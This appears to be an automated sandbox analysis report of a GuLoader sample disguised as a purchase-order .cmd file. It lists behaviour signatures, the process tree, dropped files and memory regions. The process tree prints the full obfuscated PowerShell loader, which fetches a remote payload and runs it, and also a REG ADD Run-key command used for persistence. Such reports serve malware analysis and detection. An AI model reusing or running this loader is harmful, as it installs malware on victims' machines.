Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/09/2024, 14:00

General

  • Target
    Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd
  • Size 4KB
  • Sample240902-ra9htasfng
  • SHA256 a16e6ab8d42469af04bbab862b8676b048cd5a597c4bd2691e604ff36b532958
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
        3⤵
          PID:4004
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2148
          • C:\Program Files (x86)\windows mail\wab.exe
            "C:\Program Files (x86)\windows mail\wab.exe"
            4⤵
            • Suspicious use of NtCreateThreadExHideFromDebugger
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4552
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5088
              • C:\Windows\SysWOW64\reg.exe
                REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
                6⤵
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:2608

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_iwgmh4xy.sxk.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwgmh4xy.sxk.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          Suffragitis.Ham

          • Path C:\Users\Admin\AppData\Roaming\Suffragitis.Ham
          • Size 419KB
          • SHA256 3c79dc2f340d1386773a88b8ea3f03827d8baf0fe8bca2d9908fdb5370f1a2a2
          • MD5 SHA1 SHA512 SSDEEP

          memory/2376-45-0x00000000071E0000-0x0000000007202000-memory.dmp

          memory/2376-40-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

          memory/2376-63-0x00000000746E0000-0x0000000074E90000-memory.dmp

          memory/2376-51-0x00000000746EE000-0x00000000746EF000-memory.dmp

          memory/2376-52-0x00000000746E0000-0x0000000074E90000-memory.dmp

          memory/2376-48-0x0000000008590000-0x000000000CDA5000-memory.dmp

          memory/2376-46-0x0000000007FE0000-0x0000000008584000-memory.dmp

          memory/2376-44-0x00000000072E0000-0x0000000007376000-memory.dmp

          memory/2376-22-0x00000000746EE000-0x00000000746EF000-memory.dmp

          memory/2376-23-0x0000000004A00000-0x0000000004A36000-memory.dmp

          memory/2376-25-0x00000000746E0000-0x0000000074E90000-memory.dmp

          memory/2376-24-0x0000000005140000-0x0000000005768000-memory.dmp

          memory/2376-26-0x00000000746E0000-0x0000000074E90000-memory.dmp

          memory/2376-27-0x0000000005100000-0x0000000005122000-memory.dmp

          memory/2376-28-0x00000000057E0000-0x0000000005846000-memory.dmp

          memory/2376-29-0x0000000005850000-0x00000000058B6000-memory.dmp

          memory/2376-43-0x0000000006540000-0x000000000655A000-memory.dmp

          memory/2376-41-0x0000000005FD0000-0x000000000601C000-memory.dmp

          memory/2376-35-0x00000000058C0000-0x0000000005C14000-memory.dmp

          memory/2376-42-0x0000000007960000-0x0000000007FDA000-memory.dmp

          memory/3920-66-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/3920-21-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/3920-2-0x00007FFA8FE03000-0x00007FFA8FE05000-memory.dmp

          memory/3920-18-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/3920-8-0x00000131DD5A0000-0x00000131DD5C2000-memory.dmp

          memory/3920-16-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/3920-17-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/3920-13-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/3920-15-0x00007FFA8FE03000-0x00007FFA8FE05000-memory.dmp

          memory/3920-14-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/3920-50-0x00007FFA8FE00000-0x00007FFA908C1000-memory.dmp

          memory/4552-60-0x0000000000DF0000-0x0000000002044000-memory.dmp

          memory/4552-62-0x0000000002050000-0x0000000006865000-memory.dmp